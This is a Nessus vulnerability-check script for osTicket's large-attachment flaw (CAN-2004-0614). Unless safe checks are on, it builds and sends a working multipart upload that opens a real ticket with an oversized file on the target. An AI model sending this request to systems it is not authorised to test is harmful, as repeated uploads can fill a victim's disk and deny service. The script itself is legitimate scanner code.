#
# This script was written by George A. Theall, <theall@tifaware.com>.
#
# See the Nessus Scripts License for details.
#


# NB: I define the script description here so I can later modify
#     it with the filename of the exploit.
desc["english"] = "
The target is running at least one instance of osTicket that enables a
remote user to a open new ticket with an attachment of unlimited size. 
An attacker could exploit this vulnerability and cause a denial of
service by filling up the filesystem used for attachments. 

Solution : Upgrade to osTicket STS 1.2.7 or later.
Risk factor : Low";


if (description) {
  script_id(13646);
  script_version ("$Revision: 1.2 $");
 
  script_cve_id("CAN-2004-0614");

  name["english"] = "osTicket Large Attachment Vulnerability";
  script_name(english:name["english"]);
 
  script_description(english:desc["english"]);
 
  summary["english"] = "Checks for Large Attachment Vulnerability in osTicket";
  script_summary(english:summary["english"]);
 
  script_category(ACT_MIXED_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2004 George A. Theall");

  family["english"] = "CGI abuses";
  script_family(english:family["english"]);

  script_dependencie("global_settings.nasl", "http_version.nasl", "osticket_detect.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");

host = get_host_name();
port = get_http_port(default:80);
if (debug_level) display("debug: searching for large attachment vulnerability in osTicket on ", host, ":", port, ".\n");

if (!get_port_state(port)) exit(0);

# Check each installed instance, stopping if we find a vulnerability.
installs = get_kb_list(string("www/", port, "/osticket"));
if (isnull(installs)) exit(0);
foreach install (installs) {
  matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
  if (!isnull(matches)) {
    ver = matches[1];
    dir = matches[2];
    if (debug_level) display("debug: checking version ", ver, " under ", dir, ".\n");

    # If safe_checks are enabled, rely on the version number alone.
    #
    # nb: I have no clue about whether earlier versions are affected.
    if (safe_checks()) {
      if (ereg(pattern:"^1\.2\.5$", string:ver)) {
        security_hole(port);
        exit(0);
      }
    }
    else {
      # Get osTicket's open.php.
      url = string(dir, "/open.php");
      if (debug_level) display("debug: checking ", url, ".\n");
      req = http_get(item:url, port:port);
      res = http_keepalive_send_recv(port:port, data:req);
      if (res == NULL) exit(0);           # can't connect
      if (debug_level) display("debug: res =>>", res, "<<\n");

      # If the form supports attachments...
      if (egrep(pattern:'type="file" name="attachment"', string:res, icase:TRUE)) {
        #  Grab the session cookie.
        pat = "Set-Cookie: (.+); path=";
        matches = egrep(pattern:pat, string:res, icase:TRUE);
        foreach match (split(matches)) {
          match = chomp(match);
          cookie = eregmatch(pattern:pat, string:match);
          if (cookie == NULL) break;
          cookie = cookie[1];
          if (debug_level) display("debug: session cookie =>>", cookie, "<<\n");
        }

        #  Grab the max file size.
        pat = 'name="MAX_FILE_SIZE" value="(.+)"';
        matches = egrep(pattern:pat, string:res, icase:TRUE);
        foreach match (split(matches)) {
          match = chomp(match);
          max = eregmatch(pattern:pat, string:match);
          if (max == NULL) break;
          max = max[1];
          if (debug_level) display("debug: max file size =>>", max, "<<\n");
        }

        # Open a ticket as long as we have a session cookie and a maximum file size.
        if (cookie && max) {
          boundary = "bound";
          req = string(
            "POST ",  url, " HTTP/1.1\r\n",
            "Host: ", host, ":", port, "\r\n",
            "Cookie: ", cookie, "\r\n",
            "Content-Type: multipart/form-data; boundary=", boundary, "\r\n"
            # nb: we'll add the Content-Length header and post data later.
          );
          boundary = string("--", boundary);
          postdata = string(
            boundary, "\r\n", 
            'Content-Disposition: form-data; name="name"', "\r\n",
            "\r\n",
            "nessus\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="email"', "\r\n",
            "\r\n",
            "postmaster@", host, "\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="phone"', "\r\n",
            "\r\n",
            "\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="cat"', "\r\n",
            "\r\n",
            "4\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="subject"', "\r\n",
            "\r\n",
            "Attachment Upload Test\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="message"', "\r\n",
            "\r\n",
            "Attempt to open a ticket and attach an excessively large attachment.\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="pri"', "\r\n",
            "\r\n",
            "1\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="MAX_FILE_SIZE"', "\r\n",
            "\r\n",
            # NB: we'll allow for double the preset max...
            max*2, "\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="attachment"; filename="big_file"', "\r\n",
            "Content-Type: application/octet-stream\r\n",
            "\r\n",
            #     but only upload a file with an extra 10%.
            crap(max*11/10), "\r\n",

            boundary, "\r\n", 
            'Content-Disposition: form-data; name="submit_x"', "\r\n",
            "\r\n",
            "Open Ticket\r\n",

            boundary, "--", "\r\n"
          );
          req = string(
            req,
            "Content-Length: ", strlen(postdata), "\r\n",
            "\r\n",
            postdata
          );
          if (debug_level) display("debug: sending =>>", req, "<<\n");
          res = http_keepalive_send_recv(port:port, data:req);
          if (res == NULL) exit(0);           # can't connect
          if (debug_level) display("debug: received =>>", res, "<<\n");

          # Grab the ticket number that was issued.
          pat = 'name="login_ticket" .+ value="(.+)">';
          if (matches = egrep(pattern:pat, string:res, icase:TRUE)) {
            foreach match (split(matches)) {
              match = chomp(match);
              ticket = eregmatch(pattern:pat, string:match);
              if (ticket == NULL) break;
              ticket = ticket[1];
              if (debug_level) display("debug: ticket # =>>", ticket, "<<\n");
            }
            if (ticket) {
              desc = str_replace(
                string:desc["english"],
                find:"Solution :",
                replace:string(
                  "**** Nessus successfully opened ticket #", ticket, " and uploaded\n",
                  "**** an attachment exceeding the maximum size as ", ticket, "_big_file to\n",
                  "**** osTicket's attachment directory. You are strongly encouraged to delete\n",
                  "**** this file as soon as possible to free up disk space.\n",
                  "\n",
                  "Solution :"
                )
              );
              security_warning(port:port, data:desc);
              exit(0);
            }
          }
        }
      }
    }
  }
}
